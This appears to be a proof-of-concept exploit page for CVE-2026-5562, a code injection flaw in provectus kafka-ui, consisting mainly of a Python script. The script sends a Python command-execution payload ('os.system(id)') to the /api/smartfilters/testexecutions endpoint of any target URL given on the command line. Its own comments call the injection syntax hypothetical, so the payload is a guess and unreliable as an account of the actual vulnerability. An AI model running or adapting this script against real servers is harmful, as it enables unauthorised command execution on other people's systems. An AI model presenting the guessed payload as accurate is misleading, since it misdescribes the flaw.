CVE-2026-5562 provectus kafka-ui代码注入漏洞

import requests import sys # PoC for CVE-2026-5562 # Description: Code injection in provectus kafka-ui via /api/smartfilters/testexecutions # Usage: python poc.py <target_url> def send_exploit(target): url = f"{target}/api/smartfilters/testexecutions" # Malicious payload attempting to execute code # Based on the vulnerable function validateAccess payload = { "filter": "test", # Hypothetical injection syntax to trigger code execution "value": "__import__('os').system('id')" } headers = { "Content-Type": "application/json" } try: print(f"[*] Sending exploit request to {url}...") response = requests.post(url, json=payload, headers=headers, timeout=10) if response.status_code == 200: print("[+] Request sent successfully. Check if command was executed.") print(f"[+] Response: {response.text}") else: print(f"[-] Server returned status code: {response.status_code}") except Exception as e: print(f"[-] An error occurred: {e}") if __name__ == "__main__": if len(sys.argv) < 2: print(f"Usage: {sys.argv[0]} http://<target_host>:<port>") else: send_exploit(sys.argv[1])